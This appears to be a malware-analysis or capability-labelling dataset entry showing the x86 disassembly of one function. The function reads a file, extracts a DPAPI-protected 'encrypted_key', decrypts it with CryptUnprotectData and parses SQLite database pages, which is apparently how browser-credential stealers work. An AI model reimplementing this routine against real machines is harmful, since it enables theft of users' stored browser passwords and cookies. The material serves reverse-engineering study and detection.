Function at 0x40edd6
Capabilities:
Encrypt data using dpapi
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
lea esi, [ebp - 0x818]
sub esp, 0xaec
mov dword [ebp - 0xac8], 0
mov edi, dword [ebp + 0x10]
mov dword [esp + 8], 0x800
mov dword [esp + 4], 0
mov dword [esp], esi
call fcn.004129e4
lea eax, [ebp - 0xa18]
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.004129e4
lea eax, [ebp - 0xa98]
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.004129e4
lea eax, [ebp - 0xac8]
mov dword [esp + 4], 0
mov dword [ebp - 0xaa0], 0
mov dword [ebp - 0xa9c], 0
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.00408042
test eax, eax
mov dword [ebp - 0xac4], eax
je 0x40eecd
cmp dword [ebp - 0xac8], 0
jle 0x40eecd
mov dword [esp + 4], 0x4235fa
mov dword [esp], edi
call sub.msvcrt.dll_fopen
test eax, eax
mov ebx, eax
je 0x40eecd
mov dword [esp], edi
call fcn.004074c5
mov dword [esp], eax
mov dword [ebp - 0xacc], eax
call sub.msvcrt.dll_malloc
test eax, eax
mov edi, eax
mov edx, dword [ebp - 0xacc]
jne 0x40eed4
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
xor eax, eax
jmp 0x40f214
mov dword [esp + 8], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 4], 1
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
mov dword [esp + 8], edi
mov dword [esp + 4], str.encrypted_key
mov dword [esp], 1
call fcn.004125de
mov dword [esp + 0x10], 0x800
mov dword [esp + 0xc], esi
mov dword [esp + 8], str.encrypted_key
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.0040b50a
test al, al
je 0x40eecd
xor eax, eax
or ecx, 0xffffffff
mov edi, esi
repne scasb al, byte es:[edi]
lea eax, [ebp - 0xa18]
mov dword [esp], esi
not ecx
dec ecx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
call fcn.00404081
lea edx, [eax - 5]
add eax, 0xa
shr eax, 4
shl eax, 4
call fcn.0041f3f0
sub esp, eax
mov ecx, edx
lea esi, [ebp - 0xa13]
lea eax, [esp + 0x1c]
mov dword [ebp - 0xaa8], edx
mov edi, eax
mov dword [ebp - 0xaa4], eax
lea eax, [ebp - 0xaa0]
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0xaa8]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.CRYPT32.DLL_CryptUnprotectData
sub esp, 0x1c
test eax, eax
je 0x40eff1
cmp dword [ebp - 0xaa0], 0
je 0x40eff1
mov eax, dword [ebp - 0xa9c]
mov dword [esp + 8], 0x21
mov dword [esp + 4], eax
lea eax, [ebp - 0xa98]
mov dword [esp], eax
call fcn.00412548
mov eax, dword [ebp - 0xac4]
lea ebx, [ebp - 0xaac]
add eax, 0x10
mov dword [ebp - 0xac0], eax
lea eax, [ebp - 0xac0]
mov dword [esp], eax
call fcn.0040e4f7
movzx eax, ax
mov dword [ebp - 0xad0], eax
mov eax, dword [ebp - 0xac4]
movsx eax, byte [eax + 0x64]
mov dword [esp + 4], str.0x_02hhX
mov dword [esp], ebx
mov dword [esp + 8], eax
call sub.msvcrt.dll_sprintf
mov dword [esp + 4], str.0x0D
mov dword [esp], ebx
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x40f07c
mov dword [esp + 4], str.0x05
mov dword [esp], ebx
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x40f07c
lea eax, [ebp - 0xac4]
mov dword [esp], eax
call fcn.00407f59
mov eax, dword [ebp - 0xabc]
jmp 0x40f214
mov eax, dword [ebp - 0xac8]
mov dword [ebp - 0xabc], 0
xor edi, edi
mov dword [ebp - 0xab8], 0
mov dword [ebp - 0xacc], 1
xor esi, esi
cdq
idiv dword [ebp - 0xad0]
mov dword [ebp - 0xad8], eax
mov edx, dword [ebp - 0xad8]
cmp dword [ebp - 0xacc], edx
jge 0x40f063
mov eax, dword [ebp - 0xac4]
add eax, edi
mov dword [ebp - 0xac0], eax
cmp byte [eax], 0xd
jne 0x40f203
add eax, 3
mov dword [ebp - 0xac0], eax
lea eax, [ebp - 0xac0]
mov dword [esp], eax
call fcn.0040e4f7
movzx ebx, ax
lea eax, [ebp - 0xac0]
mov dword [esp], eax
call fcn.0040e4f7
movzx eax, ax
mov dword [ebp - 0xab4], 0
add eax, edi
add eax, dword [ebp - 0xac4]
mov dword [ebp - 0xac0], eax
test ebx, ebx
je 0x40f203
lea eax, [ebp - 0xab0]
mov dword [ebp - 0xab0], 1
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xac0]
mov dword [esp], eax
call fcn.0040e4c0
cmp eax, 0x2710
mov dword [ebp - 0xad4], eax
jg 0x40f203
mov eax, dword [ebp - 0xab0]
add eax, dword [ebp - 0xac0]
lea edx, [ebp - 0xab0]
mov dword [esp + 4], edx
mov dword [esp], eax
mov dword [ebp - 0xac0], eax
call fcn.0040e4c0
mov eax, dword [ebp - 0xab0]
add eax, dword [ebp - 0xac0]
lea ecx, [ebp - 0xa98]
lea edx, [ebp - 0xab8]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [ebp - 0xac0], eax
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040e9b6
test eax, eax
mov dword [ebp - 0xab4], eax
je 0x40f1f1
mov eax, dword [ebp - 0xab8]
mov dword [esp + 4], esi
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], eax
lea eax, [ebp - 0xab4]
mov dword [esp + 8], eax
lea eax, [ebp - 0xabc]
mov dword [esp], eax
call fcn.00412abf
add esi, dword [ebp - 0xab8]
mov dword [ebp - 0xabc], eax
mov eax, dword [ebp - 0xad4]
dec ebx
add dword [ebp - 0xac0], eax
jmp 0x40f119
inc dword [ebp - 0xacc]
add edi, dword [ebp - 0xad0]
jmp 0x40f0b1
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret